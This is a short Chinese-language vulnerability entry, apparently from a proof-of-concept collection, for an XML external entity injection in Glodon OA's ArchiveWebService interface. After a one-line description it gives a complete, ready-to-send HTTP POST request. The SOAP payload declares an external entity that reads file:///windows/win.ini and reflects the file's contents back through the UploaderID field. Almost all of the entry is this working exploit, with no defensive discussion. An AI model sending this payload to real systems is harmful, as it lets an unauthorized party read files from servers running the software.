漏洞描述
广联达OA存在XML实体注入漏洞。此漏洞是由于ArchiveWebService接口对于接收的数据缺乏校验导致的。
广联达OA ArchiveWebService XML实体注入漏洞
PoC代码
POST /GB/LK/Document/ArchiveService/ArchiveWebService.asmx HTTP/1.1
Host:
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 2861
Content-Type: text/xml; charset=utf-8
Cookie: GTP_IdServer_LangID=2052
Soapaction: http://GB/LK/Document/ArchiveService/ArchiveWebService.asmx/PostArchiveInfo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[REDACTED] Safari/537.36
<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <PostArchiveInfo xmlns="http://GB/LK/Document/ArchiveService/ArchiveWebService.asmx"> <archiveInfo><!DOCTYPE Archive [
    <!ENTITY secret SYSTEM "file:///windows/win.ini">
]>

<Archive>  
    <ArchiveInfo>  
        <UploaderID>
############


&secret;


##############
</UploaderID>  
    </ArchiveInfo>  
    <Result>  
        <MainDoc>Document Content</MainDoc>  
    </Result>  
    <DocInfo>  
        <DocTypeID>1</DocTypeID>  
        <DocVersion>1.0</DocVersion>  
    </DocInfo>  
</Archive></archiveInfo> <folderIdList>string</folderIdList> <platId>string</platId> </PostArchiveInfo> </soap:Body> </soap:Envelope>